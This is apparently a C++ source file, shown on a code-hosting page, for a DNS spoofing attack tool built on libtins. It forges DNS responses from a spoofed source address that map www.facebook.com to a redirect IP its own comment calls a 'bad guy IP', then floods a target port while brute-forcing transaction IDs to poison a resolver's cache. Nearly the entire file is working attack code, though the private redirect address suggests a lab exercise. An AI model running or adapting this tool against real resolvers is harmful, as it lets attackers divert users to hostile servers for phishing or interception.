You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

119 lines
2.3 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. #include <random>
  8. using std::thread;
  9. using std::cout;
  10. using std::string;
  11. using std::vector;
  12. using namespace Tins;
  13. int current_spoof_port, best_port, chack_count, resp_count, sniff_size;
  14. bool is_running = true;
  15. bool verbose = false;
  16. bool count_resp = false;
  17. bool sniffed_resp = false;
  18. string dest_ip;
  19. string source_ip;
  20. void print_divider(int count) {
  21. int i = 0;
  22. while (i < count) {
  23. if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  24. i++;
  25. }
  26. }
  27. // coming from a specific remote_ip:port
  28. //
  29. int send_dns(string src_ip, int sport, string dest_ip, int dport) {
  30. PacketSender sender;
  31. NetworkInterface iface("enp0s10");
  32. IP pkt = IP(dest_ip, src_ip) / UDP(dport, sport) / DNS();
  33. string spoof_domain = "www.facebook.com";
  34. string redirect_ip = "192.168.2.2";
  35. // Add the fake response
  36. pkt.rfind_pdu<DNS>().add_query({ spoof_domain, DNS::A, DNS::IN });
  37. pkt.rfind_pdu<DNS>().add_answer(
  38. DNS::resource(
  39. spoof_domain,
  40. redirect_ip, // some bad guy IP we wanna redirect to
  41. DNS::A,
  42. 1, // class of the record??
  43. // 777 is just a random TTL
  44. 777
  45. )
  46. );
  47. // We want the query to be resolverd recursively
  48. //pkt.rfind_pdu<DNS>().id(tx_id);
  49. pkt.rfind_pdu<DNS>().type(DNS::QRType::RESPONSE);
  50. pkt.rfind_pdu<DNS>().recursion_desired(1);
  51. pkt.rfind_pdu<DNS>().recursion_available(1);
  52. int id = 1;
  53. int max_id = 65000; // probably 65k or 16 bits
  54. int block_size = 65000 / 4;
  55. while (id < block_size) {
  56. int c = 0;
  57. int send_id = id;
  58. while (c < 4) {
  59. pkt.rfind_pdu<DNS>().id(send_id);
  60. sender.send(pkt, iface);
  61. send_id += block_size;
  62. c ++;
  63. }
  64. //pkt.rfind_pdu<DNS>().id(id);
  65. //sender.send(pkt, iface);
  66. if (id % 1000 == 0) cout << "sending w id: " << id << "\n";
  67. id ++;
  68. usleep(250);
  69. }
  70. //sender.send(pkt, iface);
  71. return 1;
  72. }
  73. int main(int argc, char** argv) {
  74. if (argc != 5) {
  75. cout << "sike wrong number of args ---> (src_ip, sport, dest_ip, dport)\n";
  76. return 0;
  77. }
  78. string src_ip = argv[1];
  79. int sport = atoi(argv[2]);
  80. string dest_ip = argv[3];
  81. int dport = atoi(argv[4]);
  82. cout << "trying to inject dns to port " << dport << "\n";
  83. int p = send_dns(src_ip, sport, dest_ip, dport);
  84. return p;
  85. }